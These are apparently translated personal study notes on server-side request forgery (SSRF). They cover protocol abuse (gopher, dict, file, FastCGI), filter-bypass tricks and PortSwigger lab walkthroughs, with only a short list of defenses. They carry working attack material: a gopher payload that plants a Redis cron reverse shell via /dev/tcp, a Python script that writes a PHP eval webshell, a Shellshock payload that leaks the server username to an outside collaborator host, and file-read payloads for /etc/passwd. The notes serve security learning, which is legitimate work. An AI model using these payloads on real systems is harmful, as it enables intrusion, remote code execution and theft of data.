Introduction#
Many web applications provide the functionality to fetch data from other servers, commonly referred to as "external resource loading." By using user-specified URLs, web applications can perform various operations, such as fetching images, downloading files, reading file contents, etc. However, if this functionality is misused, attackers can exploit vulnerable web applications as proxies to attack remote and local servers. This form of attack is known as Server-side Request Forgery (SSRF).
In an SSRF attack, the attacker constructs special requests that cause the server-side requests to target systems controlled by the attacker or internal systems. Generally, the targets of SSRF attacks are internal systems that cannot be directly accessed from the external network, such as databases, internal network interfaces, etc., allowing attackers to bypass firewalls and directly access these internal systems.
The formation of SSRF attacks is mainly due to the server providing the functionality to fetch data from other servers without sufficient filtering and restrictions on the target address. For example, the server may allow fetching web page text content from a specified URL, loading images from a specified address, downloading files, etc. If the server does not implement appropriate security controls for these operations, such as checking whether the URL points to an internal network or restricting the range of accessible URLs, attackers may exploit this functionality to carry out SSRF attacks.
Types#
- Basic (Echo)
- Non-Echo
Exploitation Process#
Any place that can initiate outbound network requests may have SSRF vulnerabilities. For example, sending a request to the 8080 port of the 127.0.0.1 website returns relevant content, indicating the presence of an SSRF vulnerability.
The request packet is as follows:
POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=127.0.0.1%3A8000
Attempting to read local files (Windows)
file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts
If in a Linux environment, read the following files:
file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces
Case 1
GET request
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
Case 2
POST request
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
Exploitation Methods#
Common Exploitation Methods for Vulnerabilities#
- Internal Port Scanning
- Use DICT, HTTP protocol to probe the open status of internal ports
- Burp Suite brute force
- Brute force common ports, such as 80, 8080, 3306, 6379, etc.
- Directory Scanning
- Burp Suite brute force
- SQL Injection
- Encoding format, double URL encoding
- Command Execution
- Encoding format, double URL encoding
- Gopher protocol
- url:gopher://[host]:[port]/double URL encoded TCP data stream
- CVE-2017-12615
- Tomcat PUT method to write files
- Redis Unauthorized Access Vulnerability (No Authentication)
- DICT protocol (dict://x.x.x.x:6379/)
- SSRF-XSS
Complex Exploitation Methods for Vulnerabilities#
Blind SSRF Exploitation#
Determine whether a port is open based on response status and response time.
The following is an example table:
Use out-of-band techniques for blind SSRF exploitation.
Various Exploitation Protocols
file:///
dict://
sftp://
ldap://
tftp://
gopher://
Dict Protocol#
If the server prohibits requests to external sites or allows only whitelisted HTTP requests, the dict protocol can be used.
dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
Gopher Protocol#
The gopher protocol supports sending GET and POST requests: you can intercept the GET request packet and POST request packet to form a request that conforms to the gopher protocol.
The gopher protocol is the most powerful protocol in SSRF exploitation.
In the following case, a 302 redirect receives the request.
http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
Format
gopher://<host>:<port>/<gopher-path>_followed by TCP data stream
curl gopher://127.0.0.1:8000/_GET%20test
The default port for gopher is 70.
If sending a POST request, the carriage return and line feed need to be encoded as %0d%0a, and if there are multiple parameters, the parameters must also be URL encoded.
Sending a GET Request
If you want to send the following payload
GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1
It needs to be changed to the following format
curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A
At the end of the HTTP packet, add %0d%0a, which indicates the end of the message.
Sending a POST Request
POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=test
It needs to be changed to the following format
curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A
Exploitation in SSRF
http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc
# Since PHP will perform a URL decoding once after receiving the parameters, it needs to be URL encoded again
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A
In the URL, the /
cannot be double encoded, the port number cannot be double encoded, and the protocol name cannot be double encoded.
Using Gopher Protocol to Access Redis for Reverse Shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
S/FTP Protocol#
SFTP protocol is the abbreviation for SSH File Transfer Protocol, which is a secure transfer protocol used for file transfer.
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
TFTP#
File Transfer Protocol
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
File Protocol#
File protocol is used to read sensitive files from the file system.
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
LDAP/S/I#
LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to manage and access distributed directory information services over IP networks.
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
PDF SSRF#
In some cases, the server may convert uploaded files into PDF files.
Attempt to use <iframe>
, <img>
, <base>
or <script>
tags, CSS url() to request internal services and read sensitive files.
<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">
AVI#
FastCGI Protocol#
title: ctfhub Target
- First, listen on the server
nc -lvnp 9000 > 1.txt
- The client uses a Python script to connect to port 9000
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
- The generated txt file is then re-encoded using the following Python script
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
Place the payload in the vulnerability parameter.
Once the filename is known, use the cat command to view the flag content.
python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php
The steps are the same as before.
Exploitation Cases#
Port Scanning#
SSRF combined with the DICT protocol can be used to probe the open status of internal ports, only probing TCP echo ports.
Redis#
curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
Tools#
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
The above tool needs to be URL encoded again.
[[ctfhub-skilltree.md#Double Encoding Script|URL Double Encoding Script]]
Redis Write Shell
import urllib
protocol="gopher://"
ip="192.168.134.132" # IP address
port="6379" # Port
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" # Write content as a one-liner backdoor
filename="1.php" # Filename is 1.php
path="/var/www/html" # Default path
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
Case#
[[ctfhub-skilltree.md#Redis|SSRF Writing Shell Scenario]]
Bypass Techniques#
Fuzz Dictionary#
- Web Vulnerabilities -> ssrfDicts
Whitelists#
- Allow specified IPs or domains to access specified resources.
The whitelist is: abc.com
Directly cannot read
http://example.com/ssrf.php?url=https://google.com
Need to find an open redirect vulnerability within the whitelist domain and exploit it in conjunction with the open redirect vulnerability.
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
- Subdomains
Whitelist: *.abc.com
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
Blacklists#
- Change the IP to the following bypassable IPs.
- Encode the filtered characters.
- Or use a domain that points to localhost.
Special IPs#
http://0177.1/ # Decimal http://127.0.0.1
http://0x7f.1/ # Hexadecimal http://127.0.0.1
http://127.000.000.1
https://520968996
Error IPs#
http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/
IPv6#
http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/
Other Protocols#
gopher://
dict://
php://
jar://
tftp://
DNS Spoofing#
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
Xip.io#
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
Encoding Bypass#
These include hexadecimal encoding, octal encoding, double word encoding, URL encoding, and mixed encoding.
127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74
Whitelist#
- You can prepend authentication to the URL, separated by @, replacing the username with the internal system IP, and appending the rest of the path at the end, as follows:
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/
- You can also use the # symbol to separate different URL segments.
https://evil-host#expected-host
- Use DNS naming structures.
https://expected-host.evil-host
- URL encode characters to obfuscate URL parsers.
302 Redirect#
Sometimes the server may filter many protocols, allowing only "http" or "https" to appear in the incoming URL. In this case, you can write a 302 redirect on your server to exploit the Gopher protocol to attack the internal Redis.
SSRF Lab#
Lab: Basic SSRF against the Local Server#
Capture the normal request
Change stockApi to http://localhost/admin, directly unauthorized access to the backend panel.
Delete the user by entering the following parameter: stockApi=http://localhost/admin/delete?username=carlos
Successfully deleted the account.
Lab: Basic SSRF against Another Back-end System#
title: Experiment Target
Perform port scanning on the internal network via SSRF to discover open port 8080 in the 192.168.0.X subnet.
Similarly, go to the check stock page.
The normal request is as follows:
Send to intruder.
Set payload.
By checking the response size, you can see that the IP is 192.168.0.154.
Delete user carlos, deletion successful.
SSRF with Blacklist-based Input Filter#
Inputting internal URLs is intercepted.
Bypassing the blacklist, change 127.0.0.1 to 127.1, admin will also be intercepted, perform double encoding on the 'a' of admin, with the second encoding only for special characters.
Delete the carlos account.
SSRF with Whitelist-based Input Filters#
The whitelist only allows stock.weliketoshop.net to access.
By inputting http://[email protected]/, it is observed that this embedded credential URL can bypass.
Adding a # symbol after username, it is still intercepted. Perform double URL encoding on the # symbol, and it is found that it is not intercepted.
http://localhost%[email protected]/
Followed by admin, the above image bypasses normally.
Post the request to delete the carlos account.
stockApi=http://localhost%[email protected]/admin/delete?username=carlos
Lab: SSRF with Filter Bypass via Open Redirection Vulnerability#
Implement SSRF vulnerability through redirect vulnerability, targeting access to
http://192.168.0.12:8080/admin
and delete the usercarlos
.
First, you need to find an open redirect vulnerability, which can be found in the link redirection on the product detail page.
The link is as follows:
https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com
It can directly redirect to http://www.baidu.com.
Capture the check stock request packet.
Send the above packet, and it prompts that the path parameter is missing.
Removing currentProductId is sufficient.
Delete the user.
Blind SSRF with Out-of-band Detection#
The vulnerability is located in the referer.
Open the Burp Collaborator client and copy a domain.
Copy it to the referer and send the request; the Burp Collaborator client receives the sent request.
Lab: Blind SSRF with Shellshock Exploitation#
-
To implement this experiment, you need to install the "Collaborator Everywhere" plugin, which is included in the Burp store; find and install it.
-
Visit the victim's website and capture the packet, right-click, and add to scope.
- Continue browsing the website, and the "Collaborator Everywhere" plugin will start sending requests, allowing you to view the relevant responses, indicating that there is an SSRF vulnerability here.
- The specific request is as follows:
Additional requests have also been added.
Send to the intruder module for brute force, setting the User-Agent to the following payload, and the referer to the internal server subnet that needs to be brute-forced.
() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net
Set the parameters for brute forcing.
Set threads to 1.
Start brute forcing and check if the Burp Collaborator client receives the request.
As shown, the server's username has been obtained.
Vulnerability Impact#
SSRF can perform port scanning on external networks, the server's internal network, and local systems, attacking applications running in the internal network or locally, or using the File protocol to read local files.
Internal service defenses are generally weaker than external service defenses, and some internal services may not have access permission verification for internal access for operational convenience. Therefore, when SSRF exists, it usually causes significant harm.
Defense Methods#
- Filter returned information
- Unified error messages
- Restrict request ports
- Prohibit uncommon protocols
- Consider using DNS caching or host whitelists for DNS rebinding
Others#
-
title: Related Articles
- An Analysis of SSRF Principles and Exploitation Methods
- In-depth Study of Gopher Protocol in SSRF Vulnerabilities
- SSRF - Server Side Request Forgery (Types and Ways to Exploit It) Part-1
- SSRF — Server Side Request Forgery (Types and Ways to Exploit It) Part-2
- SSRF — Server Side Request Forgery (Types and Ways to Exploit It) Part-3
- SSRF - Web Security Learning Notes
- SSRF - Various Component Exploitation Methods
- SSRF in PHP
- Understanding Various Bypass Techniques and Attack Ideas for SSRF
- SSRF Learning Record
- Using SSRF to Attack Internal FastCGI Protocol
- FastCGI Protocol Analysis & PHP-FPM Unauthorized Access Vulnerability & Exp Writing
- SSRF Bible. Cheatsheet
-
title: Related Cases
- SSRF Exploitation in Spreadsheet to PDF Converter - SSRF + XXE reading files in Excel
-
title: WP
-
title: Related Tools
- In3tinct/See-SURF - Python-based SSRF parameter scanning tool
- swisskyrepo/SSRFmap - Automated Fuzz SSRF development tool
- tarunkant/Gopherus - This tool generates gopher payloads to exploit SSRF and achieve RCE in various servers
- DNS Rebinding
- Online URL Encoding and Decoding Tool
-
title: Related Resources & Targets
- Guoguang - Step-by-Step Guide to Using SSRF to Penetrate Internal Networks
- Guoguang's Step-by-Step Guide to Using SSRF to Penetrate Internal Network Target Source Code
- SSRF (Server Side Request Forgery) Testing Resources
- SSRF
- Common Gopher TCP Stream
- PortSwigger - Server-side Request Forgery (SSRF)
- ctfhub - ssrf - Incomplete
- ssrf-lab